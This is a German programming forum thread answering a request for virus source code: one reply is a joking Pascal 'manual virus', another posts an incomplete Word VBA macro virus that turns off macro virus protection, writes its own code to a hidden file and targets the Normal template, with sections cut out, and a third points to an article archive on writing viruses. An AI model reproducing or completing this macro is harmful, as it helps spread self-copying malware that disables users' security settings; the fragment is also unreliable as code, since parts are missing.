Programmieren - alles kontrollieren 4.941 Themen, 20.715 Beiträge

Andreas42 swiss1291 „Virus Quellcode“
Optionen

Hi!

program word2004;
begin
writeln('Ich bin ein manueller Virus!');
writeln('Bitte kopiere mich auf alle Festplatten');
writeln('und Disketten, die dir unter die Finger kommen!');
writeln;
writeln('Danke!!');
end.

Compilierbar mit jedem Pascal-Compiler der Welt.

Und was für ein Problem hast du jetzt wirklich?

Bis denn
Andreas

Hier steht was ueber mein altes Hard- und Softwaregedoens.
bei Antwort benachrichtigen
REPI swiss1291 „Virus Quellcode“
Optionen

So geht er los :
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) "Private Sub
....
Else
t = ""
End If
If t "" Then
q:
Close #1
....
If Rnd If Left(ActiveDocument.Name, 8) "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved s Then ActiveDocument.Saved = s
End Sub

... und hier endet er, und dazwischen fehlt einiges !
Ist ein VB Macrovirus !
Hier kannst Du was darüber nachlesen !!


repi

Es empfiehlt sich immer, etwas Linux im Hause zu haben.
bei Antwort benachrichtigen
Wumpchild swiss1291 „Virus Quellcode“
Optionen

service - artikel-archiv - viren programmieren

hier auf nickles.de...

p r o s tWumpchild
bei Antwort benachrichtigen